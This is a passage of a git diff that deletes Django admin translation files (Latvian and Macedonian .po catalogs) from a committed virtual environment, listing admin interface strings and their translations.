"LogEntry Objekts" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Pievienots {name} “{object}”." - -msgid "Added." -msgstr "Pievienots." - -msgid "and" -msgstr "un" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "Mainīti {fields} priekš {name} “{object}”." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Mainīts {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Dzēsts {name} “{object}”." - -msgid "No fields changed." -msgstr "Neviens lauks nav mainīts." - -msgid "None" -msgstr "nekas" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"Turiet nospiestu “Control”, vai “Command” uz Mac, lai iezīmētu vairāk par " -"vienu." - -msgid "Select this object for an action - {}" -msgstr "Atzīmējiet šo objektu darbībai - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "{name} “{obj}” veiksmīgi pievienots." - -msgid "You may edit it again below." -msgstr "Jūs varat to atkal labot zemāk. " - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "{name} “{obj}” veiksmīgi pievienots. Zemāk varat pievienot vēl {name}." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "{name} “{obj}” tika veiksmīgi mainīts. Zemāk varat to labot vēlreiz." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"{name} “{obj}” tika veiksmīgi mainīts. Zemāk varat pievienot vēl {name}." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "{name} “{obj}” tika veiksmīgi mainīts." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Vienumi ir jāatlasa, lai ar tiem veiktu darbības. Neviens vienums nav " -"mainīts." - -msgid "No action selected." -msgstr "Nav izvēlēta darbība." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "%(name)s “%(obj)s” veiksmīgi dzēsts." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "%(name)s ar ID “%(key)s” neeksistē. Varbūt tas ir dzēsts?" - -#, python-format -msgid "Add %s" -msgstr "Pievienot %s" - -#, python-format -msgid "Change %s" -msgstr "Labot %s" - -#, python-format -msgid "View %s" -msgstr "Apskatīt %s" - -msgid "Database error" -msgstr "Datubāzes kļūda" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s tika veiksmīgi mainīti." -msgstr[1] "%(count)s %(name)s tika veiksmīgi mainīts." -msgstr[2] "%(count)s %(name)s tika veiksmīgi mainīti." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s izvēlēti" -msgstr[1] "%(total_count)s izvēlēts" -msgstr[2] "%(total_count)s izvēlēti" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 no %(cnt)s izvēlēti" - -msgid "Delete" -msgstr "Dzēst" - -#, python-format -msgid "Change history: %s" -msgstr "Izmaiņu vēsture: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"%(class_name)s %(instance)s dzēšanai ir nepieciešams izdzēst sekojošus " -"aizsargātus saistītos objektus: %(related_objects)s" - -msgid "Django site admin" -msgstr "Django administrācijas lapa" - -msgid "Django administration" -msgstr "Django administrācija" - -msgid "Site administration" -msgstr "Lapas administrācija" - -msgid "Log in" -msgstr "Pieslēgties" - -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s administrācija" - -msgid "Page not found" -msgstr "Lapa nav atrasta" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Atvainojiet, pieprasītā lapa neeksistē." - -msgid "Home" -msgstr "Sākums" - -msgid "Server error" -msgstr "Servera kļūda" - -msgid "Server error (500)" -msgstr "Servera kļūda (500)" - -msgid "Server Error (500)" -msgstr "Servera kļūda (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Notika kļūda. Lapas administratoriem ir nosūtīts e-pasts un kļūda tuvākajā " -"laikā tiks novērsta. Paldies par pacietību." - -msgid "Run the selected action" -msgstr "Izpildīt izvēlēto darbību" - -msgid "Go" -msgstr "Aiziet!" - -msgid "Click here to select the objects across all pages" -msgstr "Spiest šeit, lai iezīmētu objektus no visām lapām" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Izvēlēties visus %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Atcelt iezīmēto" - -msgid "Breadcrumbs" -msgstr "Atpakaļceļi" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Modeļi %(name)s lietotnē" - -msgid "Model name" -msgstr "Modeļa nosaukums" - -msgid "Add link" -msgstr "Pievienot saiti" - -msgid "Change or view list link" -msgstr "Mainīt vai skatīt saraksta saiti" - -msgid "Add" -msgstr "Pievienot" - -msgid "View" -msgstr "Apskatīt" - -msgid "You don’t have permission to view or edit anything." -msgstr "Jums nav tiesību neko skatīt vai labot." - -msgid "After you’ve created a user, you’ll be able to edit more user options." -msgstr "" -"Kad būsiet izveidojis lietotāju, varēsiet rediģēt vairāk lietotāja " -"uzstādījumus." - -msgid "Error:" -msgstr "Kļūda:" - -msgid "Change password" -msgstr "Paroles maiņa" - -msgid "Set password" -msgstr "Iestatīt paroli" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Lūdzu, izlabojiet zemāk norādītās kļūdas." -msgstr[1] "Lūdzu, izlabojiet zemāk norādīto kļūdu." -msgstr[2] "Lūdzu, izlabojiet zemāk norādītās kļūdas." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Ievadiet jaunu paroli lietotājam %(username)s." - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" -"Šī darbība šim lietotājam iespējos paroles bāzētu " -"autentifikāciju." - -msgid "Disable password-based authentication" -msgstr "Atspējot paroles bāzētu autentifikāciju" - -msgid "Enable password-based authentication" -msgstr "Iespējot paroles bāzētu autentifikāciju" - -msgid "Skip to main content" -msgstr "Pāriet uz galveno saturu" - -msgid "Welcome," -msgstr "Sveicināti," - -msgid "View site" -msgstr "Apskatīt lapu" - -msgid "Documentation" -msgstr "Dokumentācija" - -msgid "Log out" -msgstr "Atslēgties" - -#, python-format -msgid "Add %(name)s" -msgstr "Pievienot %(name)s" - -msgid "History" -msgstr "Vēsture" - -msgid "View on site" -msgstr "Apskatīt lapā" - -msgid "Filter" -msgstr "Filtrs" - -msgid "Hide counts" -msgstr "Slēpt skaitu" - -msgid "Show counts" -msgstr "Rādīt skaitu" - -msgid "Clear all filters" -msgstr "Notīrīt visus filtrus" - -msgid "Remove from sorting" -msgstr "Izņemt no kārtošanas" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Kārtošanas prioritāte: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Pārslēgt kārtošanu" - -msgid "Toggle theme (current theme: auto)" -msgstr "Pārslēgt motīvu (pašreizējais motīvs: automātisks)" - -msgid "Toggle theme (current theme: light)" -msgstr "Pārslēgt motīvu (pašreizējais motīvs: gaišs)" - -msgid "Toggle theme (current theme: dark)" -msgstr "Pārslēgt motīvu (pašreizējais motīvs: tumšs)" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Izdzēšot objektu %(object_name)s '%(escaped_object)s', tiks dzēsti visi " -"saistītie objekti, bet jums nav tiesību dzēst sekojošus objektu tipus:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"%(object_name)s '%(escaped_object)s' dzēšanai ir nepieciešams izdzēst " -"sekojošus aizsargātus saistītos objektus:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Vai esat pārliecināts, ka vēlaties dzēst %(object_name)s " -"\"%(escaped_object)s\"? Tiks dzēsti arī sekojoši saistītie objekti:" - -msgid "Objects" -msgstr "Objekti" - -msgid "Yes, I’m sure" -msgstr "Jā, esmu pārliecināts" - -msgid "No, take me back" -msgstr "Nē, ved mani atpakaļ" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Izdzēšot izvēlēto %(objects_name)s, tiks dzēsti visi saistītie objekti, bet " -"jums nav tiesību dzēst sekojošus objektu tipus:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Izvēlēto %(objects_name)s objektu dzēšanai ir nepieciešams izdzēst sekojošus " -"aizsargātus saistītos objektus:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Vai esat pārliecināts, ka vēlaties dzēst izvēlētos %(objects_name)s " -"objektus? Visi sekojošie objekti un tiem piesaistītie objekti tiks izdzēsti:" - -msgid "Delete?" -msgstr "Dzēst?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " Pēc %(filter_title)s " - -msgid "Summary" -msgstr "Kopsavilkums" - -msgid "Recent actions" -msgstr "Nesenās darbības" - -msgid "My actions" -msgstr "Manas darbības" - -msgid "None available" -msgstr "Nav pieejams" - -msgid "Added:" -msgstr "Pievienots:" - -msgid "Changed:" -msgstr "Mainīts:" - -msgid "Deleted:" -msgstr "Izdzēsts:" - -msgid "Unknown content" -msgstr "Nezināms saturs" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Problēma ar datubāzes instalāciju. Pārliecinieties, ka attiecīgās tabulas ir " -"izveidotas un attiecīgajam lietotājam ir tiesības tai piekļūt." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Jūs esat autentificējies kā %(username)s, bet jums nav tiesību piekļūt šai " -"lapai. Vai vēlaties pieteikties citā kontā?" - -msgid "Forgotten your login credentials?" -msgstr "Aizmirsāt savus pieteikšanās datus?" - -msgid "Toggle navigation" -msgstr "Pārslēgt navigāciju" - -msgid "Sidebar" -msgstr "Sānjosla" - -msgid "Start typing to filter…" -msgstr "Sāciet rakstīt, lai atlasītu…" - -msgid "Filter navigation items" -msgstr "Atlasīt navigācijas vienības" - -msgid "Date/time" -msgstr "Datums/laiks" - -msgid "User" -msgstr "Lietotājs" - -msgid "Action" -msgstr "Darbība" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "ieraksti" -msgstr[1] "ieraksts" -msgstr[2] "ieraksti" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Objektam nav izmaiņu vēstures. Tas visdrīzāk netika pievienots, izmantojot " -"šo administrācijas rīku." - -msgid "Show all" -msgstr "Rādīt visu" - -msgid "Save" -msgstr "Saglabāt" - -msgid "Popup closing…" -msgstr "Logs aizveras..." - -msgid "Search" -msgstr "Meklēt" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s rezultāti" -msgstr[1] "%(counter)s rezultāts" -msgstr[2] "%(counter)s rezultāti" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "kopā - %(full_result_count)s" - -msgid "Save as new" -msgstr "Saglabāt kā jaunu" - -msgid "Save and add another" -msgstr "Saglabāt un pievienot vēl vienu" - -msgid "Save and continue editing" -msgstr "Saglabāt un turpināt labošanu" - -msgid "Save and view" -msgstr "Saglabāt un apskatīt" - -msgid "Close" -msgstr "Aizvērt" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Mainīt izvēlēto %(model)s" - -#, python-format -msgid "Add another %(model)s" -msgstr "Pievienot citu %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Dzēst izvēlēto %(model)s" - -#, python-format -msgid "View selected %(model)s" -msgstr "Apskatīt atzīmētos %(model)s" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "Paldies, ka šodien vietnei veltījāt kvalitatīvu laiku." - -msgid "Log in again" -msgstr "Pieslēgties vēlreiz" - -msgid "Password change" -msgstr "Paroles maiņa" - -msgid "Your password was changed." -msgstr "Jūsu parole tika nomainīta." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Drošības nolūkos ievadiet veco paroli un pēc tam divreiz jauno paroli, lai " -"mēs varētu pārbaudīt, ka tā ir ievadīta pareizi." - -msgid "Change my password" -msgstr "Nomainīt manu paroli" - -msgid "Password reset" -msgstr "Paroles atiestatīšana" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Jūsu parole ir iestatīta. Varat pieslēgties." - -msgid "Password reset confirmation" -msgstr "Paroles atiestatīšanas apstiprinājums" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Lūdzu ievadiet jauno paroli divreiz, lai varētu pārbaudīt, ka tā ir " -"uzrakstīta pareizi." - -msgid "New password:" -msgstr "Jaunā parole:" - -msgid "Confirm password:" -msgstr "Apstiprināt paroli:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Paroles atiestatīšanas saite bija nekorekta, iespējams, tā jau ir izmantota. " -"Lūdzu pieprasiet paroles pārstatīšanu vēlreiz." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Ja sistēmā ir konts ar jūsu e-pasta adresi, tad mēs jums tikko nosūtījām e-" -"pasta ziņojumu ar paroles iestatīšanas instrukciju. Jums to tūlīt vajadzētu " -"saņemt." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Ja nesaņemat e-pastu, lūdzu, pārliecinieties, vai esat ievadījis reģistrētu " -"adresi un pārbaudiet savu mēstuļu mapi." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Jūs saņemat šo e-pasta ziņojumu, jo pieprasījāt atiestatīt lietotāja konta " -"paroli vietnē %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "Lūdzu apmeklējiet sekojošo lapu un ievadiet jaunu paroli:" - -msgid "In case you’ve forgotten, you are:" -msgstr "Ja aizmirsāt, jūs esat:" - -msgid "Thanks for using our site!" -msgstr "Paldies par mūsu lapas lietošanu!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "%(site_name)s komanda" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Aizmirsāt savu paroli? Ievadiet jūsu e-pasta adresi un jums tiks nosūtīta " -"instrukcija, kā iestatīt jaunu paroli." - -msgid "Email address:" -msgstr "E-pasta adrese:" - -msgid "Reset my password" -msgstr "Paroles atiestatīšana" - -msgid "Select all objects on this page for an action" -msgstr "Atlasiet visus šīs lapas objektus darbībai" - -msgid "All dates" -msgstr "Visi datumi" - -#, python-format -msgid "Select %s" -msgstr "Izvēlēties %s" - -#, python-format -msgid "Select %s to change" -msgstr "Izvēlēties %s, lai izmainītu" - -#, python-format -msgid "Select %s to view" -msgstr "Izvēlēties %s, lai apskatītu" - -msgid "Date:" -msgstr "Datums:" - -msgid "Time:" -msgstr "Laiks:" - -msgid "Lookup" -msgstr "Pārlūkot" - -msgid "Currently:" -msgstr "Valūta:" - -msgid "Change:" -msgstr "Izmaiņa:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/lv/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/lv/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 16a5b3b1..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/lv/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/lv/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/lv/LC_MESSAGES/djangojs.po deleted file mode 100644 index 3c6fd0c1..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/lv/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,321 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Edgars Voroboks , 2023,2025 -# Edgars Voroboks , 2017,2022 -# Jannis Leidel , 2011 -# Edgars Voroboks , 2020-2021 -# peterisb , 2016 -# Pēteris Caune, 2023 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-25 15:04-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Edgars Voroboks , 2023,2025\n" -"Language-Team: Latvian (http://app.transifex.com/django/django/language/" -"lv/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: lv\n" -"Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n != 0 ? 1 : " -"2);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Pieejams %s" - -#, javascript-format -msgid "" -"Choose %s by selecting them and then select the \"Choose\" arrow button." -msgstr "" -"Izvēlēties %s tos atzīmējot un tad izvēloties \"Izvēlēties\" bultiņas pogu." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "" -"Raksti šajā logā, lai filtrētu zemāk esošo sarakstu ar pieejamajiem %s." - -msgid "Filter" -msgstr "Filtrs" - -#, javascript-format -msgid "Choose all %s" -msgstr "Izvēlēties visus %s" - -#, javascript-format -msgid "Choose selected %s" -msgstr "Izvēlieties atzīmētos %s" - -#, javascript-format -msgid "Remove selected %s" -msgstr "Noņemt atzīmētos %s" - -#, javascript-format -msgid "Chosen %s" -msgstr "Izvēlies %s" - -#, javascript-format -msgid "" -"Remove %s by selecting them and then select the \"Remove\" arrow button." -msgstr "Noņemt %s tos atzīmējot un tad izvēloties \"Noņemt\" bultiņas pogu." - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "Rakstiet šajā laukā, lai filtrētu atlasīto %s sarakstu." - -msgid "(click to clear)" -msgstr "(klikšķiniet, lai notīrītu)" - -#, javascript-format -msgid "Remove all %s" -msgstr "Noņemt visu %s" - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%s atlasītās opcijas nav redzamas" -msgstr[1] "%s atlasītā opcija nav redzama" -msgstr[2] "%s atlasītās opcijas nav redzamas" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s no %(cnt)s izvēlēts" -msgstr[1] "%(sel)s no %(cnt)s izvēlēti" -msgstr[2] "%(sel)s no %(cnt)s izvēlēti" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Jūs neesat saglabājis izmaiņas rediģējamiem laukiem. Ja jūs tagad " -"izpildīsiet izvēlēto darbību, šīs izmaiņas netiks saglabātas." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Jūs esiet izvēlējies veikt darbību, bet neesiet saglabājis veiktās izmaiņas. " -"Lūdzu nospiediet OK, lai saglabātu. Šo darbību jums nāksies izpildīt vēlreiz." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Jūs esiet izvēlējies veikt darbību un neesiet mainījis nevienu lauku. Jūs " -"droši vien meklējiet pogu 'Aiziet' nevis 'Saglabāt'." - -msgid "Now" -msgstr "Tagad" - -msgid "Midnight" -msgstr "Pusnakts" - -msgid "6 a.m." -msgstr "06.00" - -msgid "Noon" -msgstr "Pusdienas laiks" - -msgid "6 p.m." -msgstr "6:00" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Piezīme: Tavs laiks ir %s stundas pirms servera laika." -msgstr[1] "Piezīme: Tavs laiks ir %s stundu pirms servera laika." -msgstr[2] "Piezīme: Tavs laiks ir %s stundas pirms servera laika." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Piezīme: Tavs laiks ir %s stundas pēc servera laika." -msgstr[1] "Piezīme: Tavs laiks ir %s stundu pēc servera laika." -msgstr[2] "Piezīme: Tavs laiks ir %s stundas pēc servera laika." - -msgid "Choose a Time" -msgstr "Izvēlies laiku" - -msgid "Choose a time" -msgstr "Izvēlieties laiku" - -msgid "Cancel" -msgstr "Atcelt" - -msgid "Today" -msgstr "Šodien" - -msgid "Choose a Date" -msgstr "Izvēlies datumu" - -msgid "Yesterday" -msgstr "Vakar" - -msgid "Tomorrow" -msgstr "Rīt" - -msgid "January" -msgstr "janvāris" - -msgid "February" -msgstr "februāris" - -msgid "March" -msgstr "marts" - -msgid "April" -msgstr "aprīlis" - -msgid "May" -msgstr "maijs" - -msgid "June" -msgstr "jūnijs" - -msgid "July" -msgstr "jūlijs" - -msgid "August" -msgstr "augusts" - -msgid "September" -msgstr "septembris" - -msgid "October" -msgstr "oktobris" - -msgid "November" -msgstr "novembris" - -msgid "December" -msgstr "decembris" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "Jan" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "Feb" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "Mar" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "Apr" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "Mai" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "Jūn" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "Jūl" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "Aug" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "Sep" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "Okt" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "Nov" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "Dec" - -msgid "Sunday" -msgstr "Svētdiena" - -msgid "Monday" -msgstr "Pirmdiena" - -msgid "Tuesday" -msgstr "Otrdiena" - -msgid "Wednesday" -msgstr "Trešdiena" - -msgid "Thursday" -msgstr "Ceturtdiena" - -msgid "Friday" -msgstr "Piektdiena" - -msgid "Saturday" -msgstr "Sestdiena" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "Sv" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "Pr" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "Ot" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "Tr" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "Ce" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "Pi" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "Se" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "Sv" - -msgctxt "one letter Monday" -msgid "M" -msgstr "Pr" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "O" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "T" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "C" - -msgctxt "one letter Friday" -msgid "F" -msgstr "Pk" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "Se" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/mk/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/mk/LC_MESSAGES/django.mo deleted file mode 100644 index 9f4d6e43..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/mk/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/mk/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/mk/LC_MESSAGES/django.po deleted file mode 100644 index 676173ca..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/mk/LC_MESSAGES/django.po +++ /dev/null @@ -1,726 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Dimce Grozdanoski , 2021 -# dekomote , 2015 -# Jannis Leidel , 2011 -# Martino Nikolovski, 2022 -# Vasil Vangelovski , 2016-2017,2019,2021 -# Vasil Vangelovski , 2013-2015 -# Vasil Vangelovski , 2011-2013 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2022-05-17 05:10-0500\n" -"PO-Revision-Date: 2022-05-25 07:05+0000\n" -"Last-Translator: Martino Nikolovski, 2022\n" -"Language-Team: Macedonian (http://www.transifex.com/django/django/language/" -"mk/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: mk\n" -"Plural-Forms: nplurals=2; plural=(n % 10 == 1 && n % 100 != 11) ? 0 : 1;\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Избриши ги избраните %(verbose_name_plural)s" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Успешно беа избришани %(count)d %(items)s." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Не може да се избрише %(name)s" - -msgid "Are you sure?" -msgstr "Сигурни сте?" - -msgid "Administration" -msgstr "Администрација" - -msgid "All" -msgstr "Сите" - -msgid "Yes" -msgstr "Да" - -msgid "No" -msgstr "Не" - -msgid "Unknown" -msgstr "Непознато" - -msgid "Any date" -msgstr "Било кој датум" - -msgid "Today" -msgstr "Денеска" - -msgid "Past 7 days" -msgstr "Последните 7 дена" - -msgid "This month" -msgstr "Овој месец" - -msgid "This year" -msgstr "Оваа година" - -msgid "No date" -msgstr "Нема датум" - -msgid "Has date" -msgstr "Има датум" - -msgid "Empty" -msgstr "Празно" - -msgid "Not empty" -msgstr "" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Ве молиме внесете ги точните %(username)s и лозинка за член на сајтот. " -"Внимавајте, двете полиња се осетливи на големи и мали букви." - -msgid "Action:" -msgstr "Акција:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Додади уште %(verbose_name)s" - -msgid "Remove" -msgstr "Отстрани" - -msgid "Addition" -msgstr "Додавање" - -msgid "Change" -msgstr "Измени" - -msgid "Deletion" -msgstr "Бришење" - -msgid "action time" -msgstr "време на акција" - -msgid "user" -msgstr "корисник" - -msgid "content type" -msgstr "тип на содржина" - -msgid "object id" -msgstr "идентификационен број на објект" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "репрезентација на објект" - -msgid "action flag" -msgstr "знакче за акција" - -msgid "change message" -msgstr "измени ја пораката" - -msgid "log entry" -msgstr "ставка во записникот" - -msgid "log entries" -msgstr "ставки во записникот" - -#, python-format -msgid "Added “%(object)s”." -msgstr "Додадено “%(object)s”." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Избришано “%(object)s.”" - -msgid "LogEntry Object" -msgstr "Запис во дневник" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "" - -msgid "Added." -msgstr "Додадено." - -msgid "and" -msgstr "и" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Изменети {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Избришан {name} “{object}”." - -msgid "No fields changed." -msgstr "Не е изменето ниедно поле." - -msgid "None" -msgstr "Ништо" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "Држете “Control” или “Command” на Mac за да изберете повеќе." - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "Успешно беше додадено {name} “{obj}”." - -msgid "You may edit it again below." -msgstr "Можете повторно да го промените подолу." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Мора да се одберат предмети за да се изврши акција врз нив. Ниеден предмет " -"не беше променет." - -msgid "No action selected." -msgstr "Ниедна акција не е одбрана." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "" - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "Додади %s" - -#, python-format -msgid "Change %s" -msgstr "Измени %s" - -#, python-format 